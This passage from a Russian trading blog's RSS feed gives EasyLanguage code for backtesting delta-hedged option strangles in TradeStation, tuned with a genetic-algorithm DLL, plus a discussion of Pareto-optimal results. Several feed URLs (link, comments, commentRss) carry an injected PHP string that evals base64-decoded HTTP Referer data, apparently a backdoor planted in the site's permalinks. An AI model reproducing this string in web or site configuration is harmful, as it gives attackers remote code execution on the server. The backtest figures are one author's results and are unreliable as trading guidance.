&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;op_strike = (Floor(c[1])+1-mod(type,3));<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;oc_strike = (Floor(c[1])+floor(type/3));<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;op_price = floor(20*blackscholes(exp_days,  op_strike, close, 3.0, vola, put))/20;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;oc_price = floor(20*blackscholes(exp_days, oc_strike, close, 3.0, vola, call))/20;<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{commission 1$ per option contract}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;account = account +100*base_size*(op_price+oc_price-0.02); b_open = true;<br />
&nbsp;&nbsp;&nbsp;&nbsp;end;<br />
&nbsp;&nbsp;&nbsp;&nbsp;exp_days = o_date - DateToJulian(date);<br />
&nbsp;&nbsp;&nbsp;&nbsp;if<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exp_days > 0<br />
&nbsp;&nbsp;&nbsp;&nbsp;then<br />
&nbsp;&nbsp;&nbsp;&nbsp;begin {delta-hedging}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;o_delta =<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;floor(0.01*k_delta*(spot_size - base_size*<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(f_delta(exp_days, op_strike, close, 3.0, vola, put) +<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;f_delta(exp_days, oc_strike, close, 3.0, vola, call))));<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;spot_size = spot_size - o_delta;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{2$ is commision and slippage per 100 shares}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;account = account + 100*o_delta*close - AbsValue(2*o_delta);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pl = account + 100*spot_size*close - AbsValue(2*spot_size) -<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;100*base_size*blackscholes(exp_days, op_strike, close, 3.0, vola, put) -<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;100*base_size*blackscholes(exp_days, oc_strike, close, 3.0, vola, call);<br />
&nbsp;&nbsp;&nbsp;&nbsp;end<br />
&nbsp;&nbsp;&nbsp;&nbsp;else if b_open<br />
&nbsp;&nbsp;&nbsp;&nbsp;then<br />
&nbsp;&nbsp;&nbsp;&nbsp;begin<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;b_open = false;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if spot_size <> 0 then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;account = account + 100*spot_size*close - AbsValue(2*spot_size);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if close < op_strike then account = account - 100*base_size*(op_strike - close);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if close > oc_strike then account = account - 100*base_size*(close - oc_strike);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pl = account;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;op_strike = 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;oc_strike = 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;spot_size = 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;end; {Statistic code}<br />
&nbsp;&nbsp;&nbsp;&nbsp;if pl > ha then ha = pl;<br />
&nbsp;&nbsp;&nbsp;&nbsp;if pl < ha[1] then dd = MinList(dd, pl-ha);<br />
&nbsp;&nbsp;&nbsp;&nbsp;if<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print_status<br />
&nbsp;&nbsp;&nbsp;&nbsp;then<br />
&nbsp;&nbsp;&nbsp;&nbsp;begin<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;str =<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NumToStr(Date, 0) + "," +<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NumToStr(pl, 2) +<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NewLine;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FileAppend("C:\Omega Export\pl.csv", str);<br />
&nbsp;&nbsp;&nbsp;&nbsp;end;<br />
&nbsp;&nbsp;&nbsp;&nbsp;if<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LastBarOnChart and<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print_status<br />
&nbsp;&nbsp;&nbsp;&nbsp;then<br />
&nbsp;&nbsp;&nbsp;&nbsp;begin<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;str =<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"LAST DAY REPORT" + newline +<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NumToStr(date, 0) + ", " +<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NumToStr(pl/start_account, 2) + "," +<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NumToStr(dd/start_account, 2);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if print_status then print(str);<br />
&nbsp;&nbsp;&nbsp;&nbsp;end;<br />
end; {global}<br />
{ Indicator Code }<br />
plot1(1);</code></p>
<p align="justify">Индикатор сохраняет в файл динамику P/L, и печатает отчёт о результатах прибыли и максимальной просадки в окне EasyLanguage.</p>
<p align="justify">Таким образом получили результаты по любому из наборов параметров, но что б ответить на вопрос о дельте хеджировании нужно перебрать все варианты решений. Это может занять, в некоторых случаях, очень много времени, но можно воспользоваться библиотекой Генетического Алгоритма для Omega TradeStation GA4TS.</p>
<p align="justify">Для этого в первую очередь, для работы с библиотекой, необходимо модифицировать код, предварительно сменив тип индикатора на сигнал, как показано ниже:</p>
<p><code><br />
{|||||||||||||||||||||||||||||||||||||||||||||||||||||<br />
~<strong> Option Back-testing GA-strategy</strong><br />
~ EasyLanguage code for Omega TradeStation<br />
~ whiteline Group Copyright (c) 2004<br />
|||||||||||||||||||||||||||||||||||||||||||||||||||||}<br />
input:<br />
&nbsp;&nbsp;&nbsp;&nbsp;count(0), {optimize 0-2000}<br />
variable:<br />
{Optimization}<br />
&nbsp;&nbsp;&nbsp;&nbsp;type(0), {0-8}<br />
&nbsp;&nbsp;&nbsp;&nbsp;k_delta(10), {0-100}<br />
&nbsp;&nbsp;&nbsp;&nbsp;days_back(25),{3-28} start_account(1000000),<br />
&nbsp;&nbsp;&nbsp;&nbsp;period(20),<br />
&nbsp;&nbsp;&nbsp;&nbsp;account(0),<br />
&nbsp;&nbsp;&nbsp;&nbsp;vola(0),<br />
&nbsp;&nbsp;&nbsp;&nbsp;pl(0),<br />
&nbsp;&nbsp;&nbsp;&nbsp;ha(0),<br />
&nbsp;&nbsp;&nbsp;&nbsp;dd(0),<br />
&nbsp;&nbsp;&nbsp;&nbsp;exp_days(0),<br />
&nbsp;&nbsp;&nbsp;&nbsp;base_size(1),<br />
&nbsp;&nbsp;&nbsp;&nbsp;oc_price(0),<br />
&nbsp;&nbsp;&nbsp;&nbsp;op_price(0),<br />
&nbsp;&nbsp;&nbsp;&nbsp;oc_strike(0),<br />
&nbsp;&nbsp;&nbsp;&nbsp;op_strike(0),<br />
&nbsp;&nbsp;&nbsp;&nbsp;spot_size(0),<br />
&nbsp;&nbsp;&nbsp;&nbsp;o_delta(0),<br />
&nbsp;&nbsp;&nbsp;&nbsp;o_date(0),<br />
&nbsp;&nbsp;&nbsp;&nbsp;b_open(false),<br />
&nbsp;&nbsp;&nbsp;&nbsp;str("");<br />
DefineDLLFunc: "C:\GA\GA4TS.dll", void, "ga_create", int, int, int, LPSTR;<br />
DefineDLLFunc: "C:\GA\GA4TS.dll", void, "ga_setadvancedoptions", int, int, int, int, double;<br />
DefineDLLFunc: "C:\GA\GA4TS.dll", void, "ga_setcodelength", int, int;<br />
DefineDLLFunc: "C:\GA\GA4TS.dll", int, "ga_generate",int;<br />
DefineDLLFunc: "C:\GA\GA4TS.dll", int, "ga_loadbasepopulation",LPSTR, int;<br />
DefineDLLFunc: "C:\GA\GA4TS.dll", int, "ga_getinitialized";<br />
DefineDLLFunc: "C:\GA\GA4TS.dll", double, "ga_getcurrentgene", int;<br />
DefineDLLFunc: "C:\GA\GA4TS.dll", int, "ga_getcurrentgeneint", int;<br />
DefineDLLFunc: "C:\GA\GA4TS.dll", void, "ga_setcurrentvalue", int, double;<br />
DefineDLLFunc: "C:\GA\GA4TS.dll", int, "ga_calculated",int;<br />
DefineDLLFunc: "C:\GA\GA4TS.dll", int, "ga_writechain",int, LPSTR;<br />
DefineDLLFunc: "C:\GA\GA4TS.dll", int, "ga_addelitechain", LPSTR, LPSTR, LPSTR, LPSTR;<br />
if<br />
&nbsp;&nbsp;&nbsp;&nbsp;currentbar = 1<br />
then<br />
begin<br />
&nbsp;&nbsp;&nbsp;&nbsp;account = start_account;<br />
&nbsp;&nbsp;&nbsp;&nbsp;pl = account;<br />
&nbsp;&nbsp;&nbsp;&nbsp;FileDelete("C:\Omega Export\pl.csv");<br />
&nbsp;&nbsp;&nbsp;&nbsp;str =<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NumToStr(date, 0) + ", " +<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NumToStr(account, 2) +<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NewLine;<br />
&nbsp;&nbsp;&nbsp;&nbsp;FileAppend("C:\Omega Export\pl.csv", str);<br />
&nbsp;&nbsp;&nbsp;&nbsp;value1 = ga_getinitialized();<br />
&nbsp;&nbsp;&nbsp;&nbsp;if<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;value1 <> 0<br />
&nbsp;&nbsp;&nbsp;&nbsp;then<br />
&nbsp;&nbsp;&nbsp;&nbsp;begin<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ga_create(2, 3, 2000, "C:\\GA\\log.txt");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ga_setadvancedoptions(1,2,1,0,0.002);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ga_setcodelength(0, 4);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ga_setcodelength(1, 7);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ga_setcodelength(2, 5);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ga_generate(200);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;value1 = 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;end;<br />
&nbsp;&nbsp;&nbsp;&nbsp;type = MinList(ga_getcurrentgeneint(0), 8 );<br />
&nbsp;&nbsp;&nbsp;&nbsp;k_delta = MinList(ga_getcurrentgeneint(1), 100);<br />
&nbsp;&nbsp;&nbsp;&nbsp;days_back = MinList(ga_getcurrentgeneint(2), 23) + 3;<br />
end;<br />
if<br />
&nbsp;&nbsp;&nbsp;&nbsp;currentbar > period and<br />
&nbsp;&nbsp;&nbsp;&nbsp;BarStatus(1) = 2<br />
then<br />
begin {global}<br />
&nbsp;&nbsp;&nbsp;&nbsp;vola = close of data2;<br />
&nbsp;&nbsp;&nbsp;&nbsp;if<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;b_open = false and<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;days_back > Next3rdFriday(1) and<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Next3rdFriday(1) > 1<br />
&nbsp;&nbsp;&nbsp;&nbsp;then<br />
&nbsp;&nbsp;&nbsp;&nbsp;begin{base conract quantity}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;base_size = ceiling(MaxList(1, start_account/(c*100/5)));<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;o_date = DateToJulian(date) + Next3rdFriday(1);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exp_days = o_date - DateToJulian(date);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;op_strike = (Floor(c[1])+1-mod(type,3));<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;oc_strike = (Floor(c[1])+floor(type/3));<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;op_price = floor(20*blackscholes(exp_days,  op_strike, close, 3.0, vola, put))/20;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;oc_price = floor(20*blackscholes(exp_days, oc_strike, close, 3.0, vola, call))/20;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{commission 1$ per option contract}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;account = account +100*base_size*(op_price+oc_price-0.02);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;b_open = true;<br />
&nbsp;&nbsp;&nbsp;&nbsp;end;<br />
&nbsp;&nbsp;&nbsp;&nbsp;exp_days = o_date - DateToJulian(date);<br />
&nbsp;&nbsp;&nbsp;&nbsp;if<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exp_days > 0<br />
&nbsp;&nbsp;&nbsp;&nbsp;then<br />
&nbsp;&nbsp;&nbsp;&nbsp;begin{delta-hedging}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;o_delta =<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;floor(0.01*k_delta*(spot_size - base_size*<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(f_delta(exp_days, op_strike, close, 3.0, vola, put) +<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;f_delta(exp_days, oc_strike, close, 3.0, vola, call))));<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;spot_size = spot_size - o_delta;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{2$ is commision and slippage per 100 shares}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;account = account + 100*o_delta*close - AbsValue(2*o_delta);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pl = account + 100*spot_size*close - AbsValue(2*spot_size) -<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;100*base_size*blackscholes(exp_days, op_strike, close, 3.0, vola, put) -<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;100*base_size*blackscholes(exp_days, oc_strike, close, 3.0, vola, call);<br />
&nbsp;&nbsp;&nbsp;&nbsp;end<br />
&nbsp;&nbsp;&nbsp;&nbsp;else if b_open<br />
&nbsp;&nbsp;&nbsp;&nbsp;then<br />
&nbsp;&nbsp;&nbsp;&nbsp;begin<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;b_open = false;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if spot_size <> 0 then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;account = account + 100*spot_size*close - AbsValue(2*spot_size);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if close < op_strike then account = account - 100*base_size*(op_strike - close);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if close > oc_strike then account = account - 100*base_size*(close - oc_strike);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pl = account;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;op_strike = 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;oc_strike = 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;spot_size = 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;end;<br />
&nbsp;&nbsp;&nbsp;&nbsp;{Statistic code}<br />
&nbsp;&nbsp;&nbsp;&nbsp;if pl > ha then ha = pl;<br />
&nbsp;&nbsp;&nbsp;&nbsp;if pl < ha[1] then dd = MinList(dd, pl-ha);<br />
&nbsp;&nbsp;&nbsp;&nbsp;if<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LastBarOnChart and<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print_status<br />
&nbsp;&nbsp;&nbsp;&nbsp;then<br />
&nbsp;&nbsp;&nbsp;&nbsp;begin<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ga_setcurrentvalue(0, pl/start_account);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ga_setcurrentvalue(1, dd/start_account);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;str =<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NumToStr(count, 0) + ",	" +<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NumToStr(type, 0) + "," +<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NumToStr(k_delta, 0) + "," +<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NumToStr(days_back, 0) + "," +<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NumToStr(pl/start_account, 2) + ", " +<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NumToStr(dd/start_account, 2);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(str);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;value1 = ga_calculated(count);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;value1 = 0<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ga_writechain(200, "C:\\GA\\" + GetSymbolName + "_" +<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NumToStr(BarInterval, 0) + ".csv");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print("written");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<br />
&nbsp;&nbsp;&nbsp;&nbsp;end;<br />
end; {global}<br />
</code></p>
<p align="justify">Затем сигнал надо добавить в новую стратегию (меню Go->TradeStation StrategyBuilder), состоящую только из этого сигнала. После чего создаётся workspace, состоящий из двух окон, в одном из которых (левом) запущена стратегия с параметром count 0, а в другом (правом) только данные (без стратегии).</p>
<p><center><img title="QQQQ optimization start-up" src="http://www.pitbear.com/images/qqqq-optimization.gif" /><br />
Рис. 2. Установка окон при запуске стратегии<br />
</center><br />
После этого, но отключая стратегию в левом окне, запускаете оптимизацию по параметру count в правом, как показано на рисунке ниже.<br />
<center><img title="QQQQ optimization dialog Omega TradeStation" src="http://www.pitbear.com/images/qqqq-optimization-dialog.gif" /><br />
Рис. 3. Параметры оптимизации<br />
</center></p>
<p align="justify">Эту процедуру необходимо проделать для того что бы TradeStation не выгружал из памяти динамическую библиотеку после каждого этапа оптимизации, а позволял использовать все данные для последующих этапов.</p>
<p align="justify">Результат работы ГА (рис 4), был получен менее чем за 3 минуты на 2 Гц процессоре, на полной истории QQQQ (1150 дневных баров или 4.5 года). Как видно из кода выше оптимизация проводилась по двум критериям, и для работы Генетического Алгоритма была выбрана оптимизация Парето.</p>
<p><center><img title="QQQQ genetic algorithm optimization" src="http://www.pitbear.com/images/qqqq-ga-result.jpg" /><br />
Рис. 4. Последовательность поиска оптимального решения<br />
Генетическим Алгоритмом<br />
</center></p>
<p><center><img title="genetic algorithm Pareto-optimization" src="http://www.pitbear.com/images/qqqq-pareto.gif" /><br />
Рис. 5. Множество оптимальное по Парето<br />
</center></p>
<p align="justify">Рассмотрим подробней оба решения выделенных выноской. Первое из них (PL = 2.74, DD = -0.24) соответствует параметрам <strong>(type, k_delta, back_days)</strong> <strong>(8,9,23)</strong>. Таким образом такой результат был получен на широко расставленном стрэнгле (8 тип), проданном за 23 дня, и «выравниванием» по дельте ежедневно на 9% от нулевого отклонения.</p>
<p align="justify">Динамика результатов стратегии с этими параметрами, полученная уже с помощью <strong>Konkop Xpress Analizator</strong>, приведена ниже:</p>
<p><center><img title="Monthly gain 1-st strategy" src="http://www.pitbear.com/images/qqqq-monthly-gain-1.gif" /><br />
Рис. 6. Помесячная доходность первой стратегии<br />
</center></p>
<p><center><img title="1-st equity" src="http://www.pitbear.com/images/qqqq-equity-1.gif" /><br />
Рис. 7. Кривая доходности первой стратегии<br />
</center></p>
<p align="justify">Второе решение (PL = 3,72, DD = -0.59) соответствует параметрам <strong>(7,0,24)</strong>. Это означает стационарная продажа стрэнгла (7 тип) за 24 дня. Таким образом отсутствие хеджирования повышает риски, но и увеличивает доходность.</p>
<p><center><img title="Monthly gain 2-st strategy" src="http://www.pitbear.com/images/qqqq-monthly-gain-2.gif" /><br />
Рис. 8. Помесячная доходность второй стратегии<br />
</center></p>
<p><center><img title="2-st equity" src="http://www.pitbear.com/images/qqqq-equity-2.gif" /><br />
Рис. 9. Кривая доходности второй стратегии<br />
</center></p>
<p align="justify">Таким образом, можно сказать, относительно дельта-хеджирования подтверждается известный факт: чем меньше риск, тем меньше и ожидаемая прибыль стратегии. Но в множество Парето не вошло не одно решение ежедневный процент хеджирования которого составил более 20%, не говоря уже о дельта-нейтральной стратегии, для которой по этому алгоритму надо было бы проводить 100% хеджирование. Из дельта-нейтральных самой прибыльной (PL = 1.51, DD = -0.28) оказалась стратегия <strong>(6,100,26)</strong></p>
<p>Стати по теме:<br />
<a title="GA4TS – динамическая библиотека, предназначенная для оптимизации стратегий по одному или нескольким критериям в TradeStation Omega" href="http://www.pitbear.com/ga4ts.php">GA4TS.DLL – Генетический алгоритм для TradeStation</a><br />
<a title="Например, решение двойственных задач метода Марковица об инвестиционном портфеле, будут частным случаем решения многокритериальной задачи минимизации риска и максимизации доходности. Решением такой задачи оптимизации, с несколькими критериями, является множество Парето." href="http://www.pitbear.com/pareto.php">Поиск оптимальных по Парето стратегий</a></p>
<hr />
<div>
<table border="1" style="border-collapse: collapse">
<tr>
<td bgcolor="#f5f5f5">Tags: <strong><em>стратегия по опционам</em></strong>, <strong>тестирование опционных стратегий</strong>, <em>результаты стратегии по опционам</em>, <strong>применение генетического алгоритма</strong>, <strong>продажа стрэнгла</strong>, <em>продажа стрэдла</em>, <em>продажа веги</em>, <strong>продажа волатильности</strong></td>
</tr>
</table>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.pitbear.com/2006/01/10/option-strategy/%&amp;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>GA4TS.DLL – Генетический алгоритм для TradeStation</title>
		<link>http://www.pitbear.com/2005/12/12/ga4ts/%&amp;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&amp;%/</link>
		<comments>http://www.pitbear.com/2005/12/12/ga4ts/%&amp;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Mon, 12 Dec 2005 13:30:51 +0000</pubDate>
		<dc:creator>whiteline</dc:creator>
				<category><![CDATA[GA4TS]]></category>
		<category><![CDATA[Live]]></category>
		<category><![CDATA[Omega Tradestation]]></category>
		<category><![CDATA[Research]]></category>
		<category><![CDATA[Парето]]></category>
		<category><![CDATA[генетический алгоритм]]></category>
		<category><![CDATA[оптимизация решения]]></category>
		<category><![CDATA[численные методы]]></category>

		<guid isPermaLink="false">http://www.pitbear.com/ga4ts.php</guid>
		<description><![CDATA[GA4TS – динамическая библиотека, предназначенная для оптимизации стратегий по одному или нескольким критериям в TradeStation Omega(any version).
Достоинства алгоритма реализованного в GA4TS:

Возможность поиска оптимальных по Парето решений.
Поиск осуществляется методом Генетического Алгоритма.
Большáя скорость сходимости, на порядки выше других аналогичных методов (ГА).
Высокая точность вычислений.

Данная библиотека в себя включает:

Библиотека позволяет использовать все возможности алгоритма.
Возможность использования через специальный интерфейс во [...]]]></description>
			<content:encoded><![CDATA[<p><em><strong>GA4TS</strong></em> – динамическая библиотека, предназначенная для оптимизации стратегий по одному или нескольким критериям в TradeStation Omega(any version).<br />
Достоинства алгоритма реализованного в <em><strong>GA4TS</strong></em>:</p>
<ol>
<li>Возможность поиска <a href="http://www.pitbear.com/pareto.php" alt="Генетический алгоритм с многокритериальной фитнес-функцией" title="Генетический алгоритм, множество Парето">оптимальных по Парето</a> решений.</li>
<li>Поиск осуществляется методом Генетического Алгоритма.</li>
<li>Большáя скорость сходимости, на порядки выше других аналогичных методов (ГА).</li>
<li>Высокая точность вычислений.</li>
</ol>
<p>Данная библиотека в себя включает:</p>
<ol>
